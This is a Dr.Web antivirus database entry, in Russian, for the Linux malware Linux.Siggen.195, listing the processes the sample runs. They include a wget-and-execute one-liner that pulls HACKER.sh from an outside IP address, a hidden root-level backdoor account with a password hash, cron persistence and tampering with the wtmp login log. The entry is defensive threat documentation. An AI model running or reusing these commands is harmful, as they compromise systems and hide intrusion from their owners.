Linux.Siggen.195

Linux.Siggen.195

Добавлен в вирусную базу Dr.Web: 2017-08-08

Описание добавлено: 2017-08-08

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Запускает процессы:

sh -c wget --quiet http://104.168.170.196/LLLOL/HACKER.sh; chmod +x HACKER.sh; bash HACKER.sh; rm -rf HACKER.sh
wget --quiet http://104.168.170.196/LLLOL/HACKER.sh
chmod +x HACKER.sh
bash HACKER.sh
useradd -u 0 -g 0 -o -l -d /root -M -p $1$W6IkoTkd$9Xtkh.G1fuuOakzOx3ma91 selinux
nscd -i passwd
nscd -i group
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$W6IkoTkd$9Xtkh.G1fuuOakzOx3ma91 selinux
chmod +x /etc/cron.hourly/0
chmod +x /etc/cron.daily/0
chmod +x /etc/cron.weekly/0
chmod 777 /etc/cron.monthly/0
chmod +x /etc/rc.local
head -c -384 /var/log/wtmp
mv .wtmp /var/log/wtmp
chmod 664 /var/log/wtmp
chown root:utmp /var/log/wtmp
rm -rf HACKER.sh

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает символические ссылки (симлинки):

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

HTTP GET-запросы:

Прочее:

Собирает информацию об оперативной памяти